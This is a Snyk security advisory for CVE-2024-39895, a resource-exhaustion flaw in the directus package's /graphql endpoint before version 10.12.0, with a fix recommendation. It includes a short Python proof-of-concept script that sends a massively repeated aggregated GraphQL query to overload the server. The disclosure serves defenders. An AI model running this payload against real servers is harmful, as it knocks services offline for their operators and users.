Resource Exhaustion Affecting directus package, versions <10.12.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Resource Exhaustion vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-DIRECTUS-7430908
  • published9 Jul 2024
  • disclosed8 Jul 2024
  • creditasantof

Introduced: 8 Jul 2024

CVE-2024-39895  (opens in a new tab)
CWE-400  (opens in a new tab)

How to fix?

Upgrade directus to version 10.12.0 or higher.

Overview

directus is a Directus is a real-time API and App dashboard for managing SQL database content.

Affected versions of this package are vulnerable to Resource Exhaustion through the /graphql endpoint. An attacker can cause the server to perform redundant computations and consume excessive resources.

PoC


# GitHub @asantof

import requests

CHANGE THIS VALUES: url, auth_token, query_name, collection_name

url = 'http://0.0.0.0:8055/graphql' auth_token = '' query_name = 'query_XXXXX' collection_name = ''

headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {auth_token}', }

id_payload = 'id ' * 200 max_payload = 'max {' + id_payload + ' } ' full_payload = max_payload * 200

data = { 'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }' }

print(data)

response = requests.post(url, headers=headers, json=data)

print(response.json()) ```

References

CVSS Scores

version 4.0
version 3.1